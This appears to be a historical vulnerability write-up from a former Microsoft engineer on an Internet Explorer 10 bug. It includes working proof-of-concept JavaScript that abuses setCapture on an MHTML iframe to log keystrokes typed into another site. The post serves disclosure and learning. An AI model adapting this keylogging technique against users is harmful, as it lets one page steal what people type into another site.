When an MHTML file is loaded inside an iFrame, IE renders it using an embedded WebBrowser Control object. I found that setCapture on the parent document, combined with a click inside that control, gives the parent a reference to the control itself. From there, events fired inside the embedded MHTML bubble upward and can be intercepted — including keystrokes typed anywhere on the page.
function setCapturePageOnPage() {
document.body.onclick = function() {
document.body.onclick = null;
document.body.releaseCapture();
var wbControl = event.srcElement;
wbControl.ownerDocument.onkeydown = function(e) {
document.all.typedText.innerText += String.fromCharCode(e.keyCode);
}
window.open("http://www.bing.com", "iFrame"); // Trick to change the URL of the wbControl only
}
document.body.setCapture();
}
setTimeout("setCapturePageOnPage()", 1000);
<iframe src="dummy.mht" name="iFrame" width="750" height="240"></iframe>
The setCapture call on document.body routes all mouse events through the parent document. A single click on the MHTML iFrame exposes its underlying WebBrowser Control via event.srcElement. The parent then registers a keydown handler on the control’s owner document and navigates the iFrame to Bing via window.open. Keystrokes typed into Bing inside that object bubble up to the parent’s handler. Tested on Win8 IE10.
Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.